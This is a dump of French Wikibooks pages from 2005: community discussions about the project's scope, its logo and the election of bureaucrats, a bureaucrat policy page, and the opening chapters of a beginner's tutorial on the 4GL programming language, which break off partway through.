[[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 17 aoû 2005 à 13:09 (UTC) == La littérature aurait-elle sa place dans Wikibooks ? == ''Déplacé depuis la [[wikilivres:FAQ]]'' [[Utilisateur:Greudin|Greudin]] 20 aoû 2005 à 19:35 (UTC)~ Bonjour, j'aimerai savoir s'il est possible d'intégrer dans Wikibooks des œuvres de littérature (française ou étrangère) du domaine public. Certaines œuvres déjà numérisées sont éparpillées sur Internet, il serait possible de les ajouter sans trop de peine, et de les rassembler ici. Qu'en pensez-vous ? Cela correspond-il au projet Wikibooks ? - Couard anonyme. :[[:wikisource:Wikisource|Wikisource]] est le projet consacré à ce service. Par contre l'analyse académique de textes a sa place ici. [[Utilisateur:Greudin|Greudin]] :bien d'accord [[Utilisateur:jonathaneo|jonathaneo]] : d'accord [[Utilisateur:Pfv2|Pfv2]] ==Sommes nous des wikipédiens ?== Nous ne sommes pas des wikipédiens, mais des : *wikibouquiens (d'après bouquin) *wikibookiens (depuis wikibookians) #[[Utilisateur:jonathaneo|jonathaneo]] pour wiibookiens *wikilibraires *wikiauteurs *wikibouquinistes (mais on ne vend rien) *... ''(Rayez la mention inutile)'' L'usage nous nommera, wait and see si wikilivres perdure ;) [[Utilisateur:Greudin|Greudin]] Y aurait-il des menaces sur WB ? [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 25 aoû 2005 à 18:44 (UTC) ::Non, il n'y a pas de menaces, c'est là pour durer, je suis juste impatient de voir les Modifications récentes aussi nombreuses que sur l'encyclo ;) [[Utilisateur:Greudin|Greudin]] ::: Ouf !!! J'y travaille activement ! ::: Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 26 aoû 2005 à 11:41 (UTC) == la justice == bonjour,je suis en prépa HEC et mon thème de cette année est la justice. Moi je n'ai pas le temps de m'en occuper mais je voulais savoir si vous pouviez ajouter des résumés et explications de livres (faire des sortes de fiches de lecture en fait) concernant la justice comme ''la politique'' d'Aristote, ''les essais'' de Montaigne, ''les pensées'' de Pascal, ''la République'' de Platon ou encore ''la philosophie du droit'' de Villey... cela m'arrangerait beaucoup. Merci d'avance. Anne-So. :Suggestion : travaillez puis revenez ajouter ici les résumés et explications de ces œuvres cela nous arrangerait beaucoup. Merci d'avance. [[Utilisateur:Greudin|Greudin]] : Bonjour Anne-So. Vous me donnez l'impression que vous ne voulez pas faire vos lectures! [[Utilisateur:Pfv2|Pfv2]] 23 sep 2005 à 14:28 (UTC) == Livre de classe == Il n'y a aucun projet de livre de classe. Il y a pourtant, je pense, des enseignants contributeurs. Cela serait vraiment bien si nous arrivions à mettre sur pied un livre de classe concernant un niveau précis d'un pays précis (je pense à la France...). Moi, je serais partant pour créer un livre de français de collège. Mais, cela pose peut-être des problèmes quant à l'utilisation des extraits de texte. Peut-on recopier un extrait d'une oeuvre protégée pour permettre son étude. C'est à priori autorisé si cela ne dépasse pas 2 pages ou 10% de l'oeuvre (un truc comme ça). Que pensez-vous de tout ça? [[Utilisateur:82.67.183.125|82.67.183.125]] 9 sep 2005 à 10:04 (UTC) :C'est un beau projet, lancez-vous ! Par contre recopier un extrait de livre sans accord des auteurs/éditeurs me semble périlleux surtout après la menace juridique qui touche fr.wikiquote. [[Utilisateur:Greudin|Greudin]] 9 sep 2005 à 18:36 (UTC) ::Plutôt que de recopier pourquoi ne pas paraphraser, cela retournerait le fer dans la plaie de tous ces dot.com à la con et de leur trademarks imbéciles [[Utilisateur:81.243.188.227|81.243.188.227]] 13 sep 2005 à 16:13 (UTC) == [[Mishnah]] - please delete == Please excuse my lack of French! It would be a great help if an administrator could delete the pages listed at [[Mishnah]], which have been moved to French Wikisource. The [[Mishnah]] page itself can be deleted or made into a redirect. Thanks![[Utilisateur:Dovi|Dovi]] 12 sep 2005 à 15:10 (UTC) :Done, you right, wikisource is the place for translation and notes of translation. Textbooks (or courses) of analysis about religious facts can be edited here. [[Utilisateur:Greudin|Greudin]] == Scinder en plusieurs pages == Bonjour, je suis novice et souhaiterais savoir comment scinder [[faire le vrai]] en plusieurs sous pages en gardant la même référence. Merci d'avance [[Utilisateur:81.243.188.227|81.243.188.227]] 13 sep 2005 à 16:09 (UTC) Habituellement, une longue page peut être simplement découpée en chapitres : [[Titre principal - Chapitre 2]]. Un tableau de navigation permet ensuite de présenter une table des matières, pour accéder à l'ensemble des sous-pages. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 08:18 (UTC) == Définir clairement Wikilivres == Un problème récurrent dans la plupart des projets wikimédia (Wikipédia, Wiktionnaire autant que Wikilivres) est l'admissibilité des articles (ou livres) sur le site. Le Wiktionnaire est très strict de ce côté là (et c'est normal), même si la place de certains termes sont discutés. Mais cela est peu par rapport à Wikipédia, dans lequel on trouve de tout : des articles de personnalités célèbrissimes jusqu'à des biographies d'inconnus (parfois même des autobiographies), des articles sur des personnages de jeux vidéo, des recettes de cuisine, etc. La page des articles à supprimer reprend souvent ce genre d'article. Qu'en est-il de Wikilivres ? Les propositions à la suppression de [[Blagues]] ou [[:Catégorie:Jeu vidéo]] et les débats qui ont suivi ont souligné le besoin de définir clairement le but (et les limites) de Wikilivres. Il faudrait absolument avoir une page : [[Wikilivres:Qu'est-ce que Wikilivres ?]] ou quelque chose comme ça, afin de délimiter clairement l'étendue du terme « livre pédagogique », à la manière du [[:en:Wikibooks:What is Wikibooks|Wikibooks anglophone]]. En fait, il suffirait peut-être même de se calquer sur la page de en: qui est assez complète et explicite. Néanmoins, elle ne résout pas notre problème en ce qui concerne les blagues ou les jeux vidéo, il faudrait donc en discuter (ici si possible) afin d'arriver à un objectif clair (si possible aussi). Donc, la question est : '''Quel contenu Wikilivres peut-il (ou non) accueillir ?''' - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 14 sep 2005 à 21:13 (UTC) : Tiens c'est marrant... depuis mon "départ" de Wikilivres la situation n'a pas beaucoup évolué sur ce point là. Je suis assez d'accord avec toi, il faut définir clairement ce qu'est Wikilivres. Le document sur en: est plutot bien et donne les liens vers les wikis ou devraient se trouver les différentes contributions. Le problème va être de se mettre d'accord sur ce point... entre moi qui voudrait un wiki entièrement pédagogique (enfin... pas tant que ça, je ne suis pas contre les recettes de cuisine, par exemple) et [[Utilisateur:Greudin|Greudin]] qui est pret à accepter tout et n'importe quoi, il va surement y avoir des discussions... [[Utilisateur:Guillaumito|Guillaumito]] 15 sep 2005 à 09:30 (UTC) ::''[[Utilisateur:Greudin|Greudin]] qui est pret à accepter tout et n'importe quoi'' : c'est faux, mon pdv est visible sur PàS, par exemple je suis pour les guides comme pour les jeux vidéos dans nos rayons, par contre j'aimerais voir une section fictions (wikiromans, etc) - mais j'y crois pas trop vu la politique actuelle de en: et fr: - et je suis totalement contre les livres partisans comme les derniers ajouts de PàS, voilà. [[Utilisateur:Greudin|Greudin]] :Je vois pas en quoi les jeux videos et les blagues font perdre de la crédibilité à wikibook.. pédagogique bah c'est un peu trop contraignant non ? en plus les restes des wikibook sont-il pédagogique ? (enfin, quelqu'un a déja reussi à apprendre une langue avec wikilivres ?) --[[Utilisateur:M4RC0|M4RC0]] 15 sep 2005 à 17:34 (UTC) Je suis allé sur Wikipédia pour voir pourquoi Wikibooks a été créé : « Ce projet a démarré en réponse à une demande du Wikipedian Karl Wick qui réclamait un espace où il serait possible d'écrire des livres pédagogiques de façon communautaire, avec notamment pour but de mettre à disposition les connaissances humaines de façon libre et gratuite et ainsi lutter contre les inégalités devant l'éducation. » (extrait de l'article [[w:Wikibooks|Wikibooks]] de Wikipédia). Le but de départ est donc l''''éducation''' : ces livres doivent '''enseigner''' quelque chose. Il peut s'agir de livres scolaires, de livres de savoir-faire (incluant les recettes de cuisine), des livres d'enseignement de langue, etc. Il me semble que cela exclu déjà les romans collectifs, qui sont des œuvres d'invention et dont le contenu (ou la réalisation) est plus divertissant, intéressant qu'éducatif, ces livres-là n'ont pas pour but de partager des connaissances mais d'en inventer. Pour les blagues, je trouve que c'est très similaire à Wikiquote : un recueil de phrases, sans analyse ni commentaires. Je pense que pour que les blagues restent sur Wikilivres, il faudrait organiser ce livre non pas comme un recueil mais comme un livre organisé sur l'humour de manière plus général : un livre qui parlerait (et donc ne ferait pas que les énumérer) des différents types d'humour : blagues, histoires drôles, devinettes, contrepèteries, gags, non-sens, humour noir, calembours, images drôles,… Quels schémas sont les plus courants (et pourquoi), des mécanismes qui sont souvent repris, etc. Bref, pas un livre '''de''' blagues mais un livre '''sur''' les blagues (et pourquoi pas même quelques méthodes pour en créer…) ou plutôt sur l'humour. Je ne sais pas trop quoi dire sur les astuces de jeux vidéo… Peut-être devrait-on avoir une étagère plus générale sur les stratégies de jeux (qui contiendrait aussi des stratégies pour le jeu d'échec, le poker, etc.). Pourvu qu'il y ait des explications suffisantes, et pas simplement des « faites ceci », «faites cela », ce qu'il faudrait éviter. Une simple liste de niveaux pour un jeu vidéo n'aurait par exemple que très peu d'intérêt. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 15 sep 2005 à 20:23 (UTC) :L'analyse de Darkdadaah me semble très juste. [[Utilisateur:Marc|Marc]] 15 sep 2005 à 20:49 (UTC) :Oui, l'analyse de [[Utilisateur:Darkdadaah|Dakdada]] me semble très juste aussi. [[Utilisateur:Guillaumito|Guillaumito]] 15 sep 2005 à 21:28 (UTC) : L'analyse est en effet globalement juste mais il y a un autre aspect qui me paraît très important et qui à lui seul justifie que l'on trouve Wikilivres à côté de Wikipédia : c'est la possibilité d'écrire des ensembles pédagogiques cohérents, où les notions s'enchaînent dans un ordre déterminé et logique. Peut-être faut-il voir là une des raisons pour lesquelles le niveau des Wikipédias en maths, en physique, en chimie, en technologie mécanique, etc., est globalement aussi faible. : Un ouvrage aussi volumineux que le Wikilivre de tribologie est parfaitement à sa place sur WL, lorsqu'il était sur WP je passais un temps fou à essayer d'en recoller les morceaux que d'autres contributeurs le plus souvent totalement incompétents s'ingéniaient à découper sans avoir la moindre notion de la cohérence de l'ensemble. : Une nouvelle tentative avec l'article sur la profondeur de champ en photographie a produit les mêmes résultats, en pire. Par contre, il n'y a aucun problème majeur avec les multiples articles de botanique ou d'entomologie, dont la structure globale est extérieure à WP. : Je crois que le système décollera vraiment lorsque le corps enseignant aura pris la mesure du terrain de jeu qui lui est offert ! C'est dans ce sens qu'il faut aller, pour tirer l'ensemble vers le haut ! : [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 15 sep 2005 à 22:57 (UTC) :J'adhère, dommage pour les wikiromans (mais il y a Limbes). [[Utilisateur:Greudin|Greudin]] En effet, cet aspect est très important, il faudra le faire figurer dans la page en question.<br/> Je viens de créer (enfin d'ébaucher) la page [[Wikilivres:Qu'est-ce que Wikilivres ?]]. Je me suis inspiré de la page anglaise, mais il manque encore des choses à définir — ou à discuter. Jetez-y un œil et essayons de l'améliorer :) - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 18 sep 2005 à 16:42 (UTC) : J'ai complété la page sus-citée en ajoutant des précisions sur les livres "qui ont leur place", en mettant l'accent sur certains aspects (comme l'uniformité qu'apportent les livres). Des avis ? - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 8 novembre 2005 à 14:21 (UTC) == Vote Wikiversité == Un vote a commencé pour un nouveau projet Wikimédia qui s'appelle [[m:Wikiversity|Wikiversité]]. Si vous approuvez ou opposez ce projet, veuillez [[m:Wikiversity/Vote/fr|exprimer votre suffrage]]. Le résultat de ce vote, ainsi que la décision du Conseil d'administration, déterminera si ou non ce projet commencera comme projet Wikimédia. Débat sur la proposition se trouve sur sa [[m:Talk:Wikiversity|page de discussion]]. :Après en avoir un peu discuté sur IRC, àmha notre wikiversité n'est pas prête en l'état actuel pour être indépendante, mais j'ai remarqué que certains votants ''Non'', partagent le pdv d'une encyclopédie fusionnelle avec wikilivres, le wiktionnaire voire wikisource alors j'hésite à voter oui pour la séparation pour ne pas me retrouver avec eux. [[Utilisateur:Greudin|Greudin]] Pour résumer, le vote semble s'orienter vers le ''Oui'' (3 fois plus que les ''Non'') càd : *de.wikiversity.org continue à l'essai pour 6 mois *en.wikiversity.org créé à l'essai pour 6 mois *fr.wikiversity.org n'est pas créé mais envisagé à la fin des 6 mois d'essai. A priori, démarrage en douceur car notre wikiversité est embryonnaire. [[Utilisateur:Greudin|Greudin]] == Les voitures ecologiques == Plusieurs projets sur les vehicules ecologiques (et donc souvent economiques) sont en cours de conception, de mon point de vue personnel voici le plus prometteur : le concept de MDI : [http://www.mdi.lu/ MDI cars] - utilisation de la pression de lair ambiant comprimé pour faire tourner une turbine - utilisation de l'electricité pour "faire le plein" - plusieurs modeles, du tracteur au bus de ville - peu cher, env. 8000€, prix d'une voiture moyenne - prix d'un plein de "carburant" aux alentours de 1.5€ - a la sortie du pot d'échappement : de l'air pur climatisé : Je suis toujours sceptique face à ces voitures écologiques. L'électricité il faut quand même la produire, et dans bien des pays, c'est au moyen du pétrole. [[Utilisateur:Pfv2|Pfv2]] 23 sep 2005 à 14:11 (UTC) == caractere d'echappement == Bonjour, je souhaiterais savoir s'il y a un moyen ou caractere d'ecappement pour afficher | dans un tableau parcequ'il saute d'un tab... [[Utilisateur:Zulul|Zulul]] 21 sep 2005 à 11:04 (UTC) :En utilisant <nowiki><nowiki>|</nowiki></nowiki> par exemple. [[Utilisateur:Greudin|Greudin]] == Où sont les contributeurs ? == On dirait qu'il y a peu de contributeurs actifs sur wikilivres. [[Utilisateur:Pfv2|Pfv2]] 23 sep 2005 à 14:23 (UTC) C'est vrai ; cf. [http://en.wikipedia.org/wikistats/wikibooks/FR/TablesWikipediaFR.htm]. [[Utilisateur:Marc|Marc]] 24 sep 2005 à 10:14 (UTC) : Merci pour les statistiques, c'est intéressant [[Utilisateur:Pfv2|Pfv2]] 24 sep 2005 à 12:36 (UTC) Vu que la communauté croit de façon exponentielle, je vous propose d'élire deux bureaucrates en prévision de l'explosion de contributeurs donc de concierges (sysops) voici la liste des candidats potentiels (ajoutez en cas d'oubli) : # Marc (sysop) # Yann (sysop) # Guillaumito (sysop) # Traroth (sysop) # Shaihulud (sysop) (pris ailleurs) # Greudin (sysop) La première tâche des bureaucrates sera de sysoper le dernier sysop élu (cf. [[wikilivres:administrateurs]]<br /> Votez sur le bistro (?) [[Utilisateur:Greudin|Greudin]] 24 sep 2005 à 11:27 (UTC) Tu es très optimiste... Mais peut-être peut-on choisir au moins un bureaucrate (et dans ce cas, je pense que tu es le mieux placé). [[Utilisateur:Marc|Marc]] 25 sep 2005 à 20:07 (UTC) :Moi je vote pour Guillaumito comme adm parceque je le sens bien celui là :) [[Utilisateur:Zulul|Zulul]] 26 sep 2005 à 21:01 (UTC) ::Et pui ossi pour Greudin qui m'a déjà répondu une fois ;) ::àmha il faut en élire ou nommer temporairement deux car qui peut garantir de pouvoir se consacrer régulièrement au projet, il faut une continuité. [[Utilisateur:Greudin|Greudin]] Y-a-t'il un endroit ou on peut voir une liste exhaustive des contributeurs? [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:38 (UTC) :Concernant les bureaucrates, il y a maintenant une page ([[wikilivres:bureaucrate]]) [http://meta.wikimedia.org/wiki/Requests_for_permissions#Bureaucrat_Status comme suggéré sur méta]. [[Utilisateur:Greudin|Greudin]] == Dacalage tableau == Je voudrais que mes tableaux dans [[Programmation_VBscript]] (voir constante) soient affichés les uns à la suite des autres ... comment faire ? [[Utilisateur:Zulul|Zulul]] 23 sep 2005 à 18:52 (UTC) :arrête d'utiliser align="left" :) [[Utilisateur:Guillaumito|Guillaumito]] 23 sep 2005 à 19:33 (UTC) (je te les ai corrigés) ::merci :) -[[Utilisateur:Zulul|Zulul]] 26 sep 2005 à 20:45 (UTC) ==media:Wikibooks-logo-fr.png== [[Image:Wikibooks-logo-fr.png|200px|right|]] On a notre logo grâce à M [[w:utilisateur:Sting|Sting]] ! Achetez tous ses disques ! ;) [[Utilisateur:Greudin|Greudin]] : C'est très bien :) Peut-être faudrait-il mettre le slogan en français comme c'est le cas du logo actuel. Enfin il faudrait commencer par en trouver un… Il faut que ça reflète en trois quatres mots le but du site. En regardant le logo des autres projets, il faudrait le mot libre dedans. Donc quelque chose comme « Apprendre librement ». À noter que les deux mots ont ici un double sens : apprendre = enseigner et s'instruire ; librement = license libre et liberté (de s'instruire). - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 30 sep 2005 à 15:49 (UTC) : super le logo [[Utilisateur:Pfv2|Pfv2]] 3 oct 2005 à 17:04 (UTC) == Catégorie DOS == [[:Catégorie:DOS|DOS]] bonjours a tous. je souhaiterais avoir de l'aide: je ne peux pas modifier toute la page et je voudrais savoir si je commence bien ou si il y a une autre méthode de mise en page, Merci. [[Utilisateur:Manxtra|Manxtra]] :Ecrivez un livre depuis un article [[DOS]] par exemple, les catégories ne sont là qu'à fins de rangement (donc pas pour du contenu). Le principal critère d'un wikilivre est une rédaction d'un écrit long, "filé" et ne pas ressembler à une aide contextuelle de logiciel comme l'est [[:catégorie:DOS]]. [[Utilisateur:Greudin|Greudin]] :Le meilleur moyen d'apprendre, c,est de regarder comment les autres livres sont faits. [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:43 (UTC) == Lenteur à l'enregistrement == Bonjour à tous, j'ai remarqué que souvent j'obtiens une page d'erreur en plus d'une lenteur d'enregistrement et de chargement, est-ce normal ? [[Utilisateur:Zulul|Zulul]] 9 oct 2005 à 20:55 (UTC) non. [[Utilisateur:Marc|Marc]] 9 oct 2005 à 21:53 (UTC) ==Thot, portail sur la formation à distance parle de Wikilivres== Bonjour, Les 24 700 abonnés professionnels de Thot, Nouvelles de la formation à distance, ont reçu cette nouvelle récemment : Vous avez appris à collaborer ? Très bien, voici les Wikilivres Des centaines de livres, sur tous les sujets, en accès libre et auxquels vous pouvez contribuer. Lien: http://thot.cursus.edu/rubrique.asp?no=22721 Bonne continuation et au plaisir, Martine Jaudeau redaction@thot.cursus.edu Rédactrice en chef de Thot Thot - Nouvelles de la formation à distance - http://thot.cursus.edu Cursus - Le répertoire de la formation en ligne - http://cursus.cursus.edu Abonnement : http://thot.cursus.edu/abonnement.asp Gestion de l'abonnement : http://thot.cursus.edu/modif_infos.asp Édition intégrale- Abonnement : http://thot.cursus.edu/rubrique.asp?no=19995 :Rajouté dans [[wikilivres:revue de presse]]. [[Utilisateur:Greudin|Greudin]] == Ecrire un nouveau livre == Je ne comprend pas comment Wikibooks fonctionne. Je désire commencer un '''nouveau''' livre. J'ai remarqué que certains livres étaient à l'état d'ébauche. Comment puis je moi aussi démarrer un nouveau livre et l'intégrer à Wikibooks. Que dois je faire ? :Bonjour, soyez entreprenant, démarrez depuis un lien rouge comme [[nouveau livre]], on verra ensuite... [[Utilisateur:Greudin|Greudin]] == transfert de peida a wikilivres == puis-je transferer mon travail de pedia a ici ? PAr quel moyen ? :Oui. Le copier-coller. [[Utilisateur:Greudin|Greudin]] :c'est ce que j ai fais hier, merci pour ta réponse quand même :) --[[Utilisateur:Dav|Dav]] 12 oct 2005 à 17:41 (UTC) == Etagères Programmation== <small>''Message passé aux oubliettes, suite à mauvaise gestion du bistro, mea culpa'' [[Utilisateur:Greudin|Greudin]] 16 oct 2005 à 09:46 (UTC)</small><br /> Je n'aime pas le wikilivre "Programmation" : il est beaucoup trop gros. Ne devrait-on pas passer ce livre au hachoir ? On pourrait avoir une étagère Programmation, avec des rayons par catégorie, puis les wikilivres eux mêmes. Par exemple, la section "Langages de programmation" deviendrait un rayon de l'étagère Programmation, avec des livres sur C, C++, etc. 82.66.18.21 == Nouvel accueil == Ma proposition pour un nouvel accueil : [[Utilisateur:Dake|Brouillon]] J'en ai profité pour refaire le logo. Vos commentaires sont les bienvenus. S'il faut adapter le logo ou en refaire un pour que ça passe en haut à gauche, je suis partant car je trouve le logo "Wikibooks" assez laid. [[Utilisateur:Dake|Dake]] 16 oct 2005 à 23:30 (UTC) <small>J'ai également posté ce message sur la discussion de l'accueil</small> == cadre de navigation == Bonjour, comment faire un tableau qui s'affiche en cadre comme sur cette page [[Programmation_C_Introduction]] ? Je voudrais faire un sommaire comme ça, mais il ne semble rien y avoir dans la page ... [[Utilisateur:Zulul|Zulul]] 17 oct 2005 à 13:55 (UTC) : C'est un modèle, voir [[Modèle:Programmation_C]] --[[Utilisateur:Dake|Dake]] 17 oct 2005 à 14:19 (UTC) ::ah ok merci ~~ == Wikilivres en mathématiques == Je découvre les wikilivres (je connaissais déjà d'autres projet Wiki) et, prof de maths, je suis étonné qu'il n'y ait rien sur ce thème. Ai-je mal cherché La classification que j'utilise (matière) n'est-elle pas pertinente ici Ou ... ? Merci d'avance de la réponse Luc Comeau-Montasse du fagot des Nombreux http://garde-a-vue.com/ :Bonjour et bienvenue, le rayon ou l'étagère [[mathématiques]] existe mais nécessite d'être complété. [[Utilisateur:Greudin|Greudin]] == Libération parle de Wikibooks == Quelqu'un l'a déjà annoncé ici mais je ne sais plus où, le journal Libération parle de Wikibooks : [http://www.liberation.fr/page.php?Article=332875 Des manuels scolaires nouvelle ère] par Laurent Mauriac. Le lien est rajouté dans la [[wikilivres:revue de presse|revue de presse]]. L'auteur cite les ouvrages de la version anglophone et cite deux livres d'ici : [[S'initier au boulier en 10 leçons]] et le [[Le Biodiesel]] (actuellement dans la liste des [[wikilivres:pages à supprimer|pages à supprimer]]).[[Utilisateur:Greudin|Greudin]] == Arts plastiques == Je n'ai peut-être pas compris le fonctionnement de la Wikiuniversité, mais je me demande ce qu'a voulu faire le contributeur de [[Arts plastiques]] et comment traiter ce genre de cas ? [[Utilisateur:Epommate|Epommate]] 26 oct 2005 à 06:23 (UTC) :Etrange en effet. Proposé à la suppression et envoyé ce mail à l'auteur : <pre> Bonjour, Je me permets de vous écrire suite au message sur cette page de la wikiversité : http://fr.wikibooks.org/wiki/Arts_plastiques Tout le monde peut modifier ces pages, c'est le principe même du wiki, rajouter une étape en passant par votre relecture n'est pas dans cet esprit de libre partage. La page de discussion de l'article peut être utilisée pour la coordination. Cordialement, </pre> [[Utilisateur:Greudin|Greudin]] Wikilivres:Bureaucrate 5546 25551 2005-11-17T08:28:50Z Oscar 798 /* Première élection */ oups Le '''bureaucrate''' est un [[Wikilivres:Administrateur|administrateur]] expérimenté ayant comme rôle : * de donner aux utilisateurs les droits d'administrateur ou bureaucrate. Il ne peut le faire que pour appliquer une décision de la communauté. ==Liste des bureaucrates sur Wikilivres== *[http://fr.wikibooks.org/w/index.php?title=Special%3AListusers&group=bureaucrat&username= Liste exhaustive] ==Première élection== ''Déplacé depuis [[wikilivres:le Bistro|le Bistro]] :''<br /> Vu que la communauté croit de façon exponentielle, je vous propose d'élire deux bureaucrates en prévision de l'explosion de contributeurs donc de concierges (sysops) voici la liste des candidats potentiels (ajoutez en cas d'oubli) : # Marc (sysop) # Yann (sysop) # Guillaumito (sysop) # Traroth (sysop) # Shaihulud (sysop) (pris ailleurs) # Greudin (sysop) La première tâche des bureaucrates sera de sysoper le dernier sysop élu (cf. [[wikilivres:administrateurs]]<br /> Votez sur le bistro (?) [[Utilisateur:Greudin|Greudin]] 24 sep 2005 à 11:27 (UTC) Tu es très optimiste... Mais peut-être peut-on choisir au moins un bureaucrate (et dans ce cas, je pense que tu es le mieux placé). [[Utilisateur:Marc|Marc]] 25 sep 2005 à 20:07 (UTC) :Moi je vote pour Guillaumito comme adm parceque je le sens bien celui là :) [[Utilisateur:Zulul|Zulul]] 26 sep 2005 à 21:01 (UTC) ::Et pui ossi pour Greudin qui m'a déjà répondu une fois ;) ::àmha il faut en élire ou nommer temporairement deux car qui peut garantir de pouvoir se consacrer régulièrement au projet, il faut une continuité. [[Utilisateur:Greudin|Greudin]] Y-a-t'il un endroit ou on peut voir une liste exhaustive des contributeurs? [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:38 (UTC) :ici: [http://fr.wikibooks.org/w/index.php?title=Special:Listusers&limit=500&offset=0 liste exhaustive des contributeurs]. [[Utilisateur:Oscar|<font color="red">o</font><font color="orange">s</font><font color="yellow">c</font><font color="green">a</font><font color="blue">r</font>]] 11 novembre 2005 à 14:51 (UTC) Greudin et Guillaumito sont bureaucrates maintenant. salut ;-) <font color="red">o</font><font color="orange">s</font><font color="yellow">c</font><font color="green">a</font><font color="blue">r</font> 17 novembre 2005 à 08:28 (UTC) ==Voir aussi== *[[wikilivres:Administrateur]] Programmation 4GL 5554 22974 2005-10-13T17:55:47Z Greggory 673 *[[Programmation 4GL Introduction|Introduction]] *[[Programmation 4GL Bases du langage|Bases du langage]] **[[Programmation 4GL Types de données|Types de données]] **[[Programmation 4GL Tableaux|Tableaux]] **[[Programmation 4GL Opérateurs|Opérateurs]] **[[Programmation 4GL Tests|Tests]] **[[Programmation 4GL Itérations|Itérations]] **[[Programmation 4GL Fonctions et procédures|Fonctions]] {{Programmation}} Programmation 4GL Introduction 5555 22972 2005-10-13T17:50:35Z Greggory 673 {{Programmation 4GL}} == Historique == Un court historique sur le site [[w:fr:4GL|Wikipédia]]. Modèle:Programmation 4GL 5556 22973 2005-10-13T17:53:24Z Greggory 673 {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;background:#EAF5FB;" | [[Programmation 4GL]] |- | *[[Programmation 4GL Introduction|Introduction]] *[[Programmation 4GL Bases du langage|Bases du langage]] **[[Programmation 4GL Types de données|Types de données]] **[[Programmation 4GL Tableaux|Tableaux]] **[[Programmation 4GL Opérateurs|Opérateurs]] **[[Programmation 4GL Tests|Tests]] **[[Programmation 4GL Itérations|Itérations]] **[[Programmation 4GL Fonctions et procédures|Fonctions]] |} Programmation 4GL Bases du langage 5557 23482 2005-10-16T17:25:34Z 82.226.142.147 /* Déclarations de variables */ {{Programmation 4GL}} ==Hello World!!== Comme pour tout langage de programmation, voici le programme traditionnel: <pre> main display "Hello World!!" end main </pre> Comme on peut le constater, ce programme contient trois lignes de code que nous allons tout de suite détailler. <pre> main </pre> Défini le point d'entrée du programme, à la manière du [[Programmation C Bases du langage|langage C]]. Notez toutefois l'absence de paramètres. <pre> display "Hello World!!" </pre> Affiche le texte <code>Hello World!!</code> à l'écran. <pre> end main </pre> Indique la fin du programme. L'éxécution se termine à ce point. ==Compilation== Le 4GL étant un langage compilé, il faut [[w:fr:compilation|compiler]] ce programme. L'extension par défaut est évidemment <code>4gl</code>, copier/collez donc le code précédent dans un fichier nommé <code>hello.4gl</code>. La compilation s'effectue ensuite par la commande: <pre> c4gl hello.4gl </pre> Cela génère un fichier <code>a.out</code> éxécutable. Pour générer un fichier avec un nom plus parlant, on utilise l'option <code>-o</code>: <pre> c4gl hello.4gl -o hello.4ge </pre> Ce qui crée le fichier <code>hello.4ge</code>. ==Exécution== Pour éxécuter le programme, il suffit de taper son nom dans un terminal, ou de cliquer sur son icône. ==Eléments de syntaxe== ===Identificateurs=== Les identificateurs commencent toujours par une lettre ou un caractère souligné. Les mots-clés et les symboles sont insensibles à la casse et peuvent contenir uniquement des lettres, chiffres et le caractère souligné. '''Exemples:''' <pre> toto ma_var ma_VAR m4_v4r148l3 </pre> ===Mots clefs=== 4GL contient un certain nombre de mots clefs que nous détaillerons par la suite, la plupart des ressources disponibles sur Internet contiennent des exemples avec ces mots clefs en majuscules. Ce langage étant insensible à la casse, ça n'est absolument pas nécessaire. Les exemples de ce livre seront donc tous ''à priori'' en minuscule. La coloration syntaxique de votre éditeur de texte préféré sera donc mis à contribution. ===Commentaires=== Les commentaires peuvent être introduits par # (comme en [[shell]])ou être inclus entre accolades { }. Il n'est pas nécessaire de positionner ces caractères en début de ligne. <pre> # Ceci est est commentaire mono ligne comme en shell </pre> <pre> { Ceci est un commentaire qui s'etale sur plusieurs lignes. } </pre> ===Instructions=== Contrairement à certains languages, la fin des instructions est implicite, lorsque la syntaxe est correcte évidemment. '''Exemple 1:''' <pre> # Une instruction qui affiche 'Hello' display "Hello" # Incremente la variable i de 1, puis b de 2 let i = i + 1 let b = b + 2 </pre> '''Exemple 2:''' <pre> # A l'execution le resultat est le meme que dans l'exemple precedent display "Hello" let i = i + 1 let b = b + 2 </pre> Evidemment, il est préférable d'écrire le programme comme illustré dans la première version, une instruction par ligne. ===Déclarations de variables=== Les variables sont déclarés par l'instruction: <pre> define ma_var mon_type </pre> Ce qui a pour effet de définir une variable nommée <code>ma_var</code> de type <code>mon_type</code>. En fonction du compilateur, les variables peuvent être définies à une valeur par défaut. Il est néanmoins conseillé d'initialiser les variables avant utilisation. Cette instruction <code>define</code> doit être la première d'un fichier ou d'une fonction, sous peine de générer une erreur de compilation. Il existe pour les variables 3 types de portées en 4GL, en fonction de l'emplacement de l'instruction <code>define</code>. *Globale **les variables définies à l'intérieur d'un bloc <code>globals ... end globals</code> sont accessibles partout. Il est recommandé de placer ces définitions dans un fcihier spécifique et d'inclure ce fichier dans chacun des modules. *Locale à un fichier **les variables définies au début d'un fichier source, et à l'extérieur de toute fonction, sont locales au fichier, et sont donc accesibles dans tout le fichier. *Locale à une fonction **les variables définies au début d'une fonction, sont locales à la fonction et ne sont donc pas accessibles en dehors de celle-ci. Programmation 4GL Types de données 5558 23487 2005-10-16T17:50:37Z 82.226.142.147 /* Char */ {{Programmation 4GL}} ==Déclaration de variables== La déclaration d'une variable est une instruction de la forme: <pre> define ma_var mon_type </pre> Défini la variable <code>ma_var</code> de type <code>mon_type</code> ==Types Simples== La plupart des types simples sont 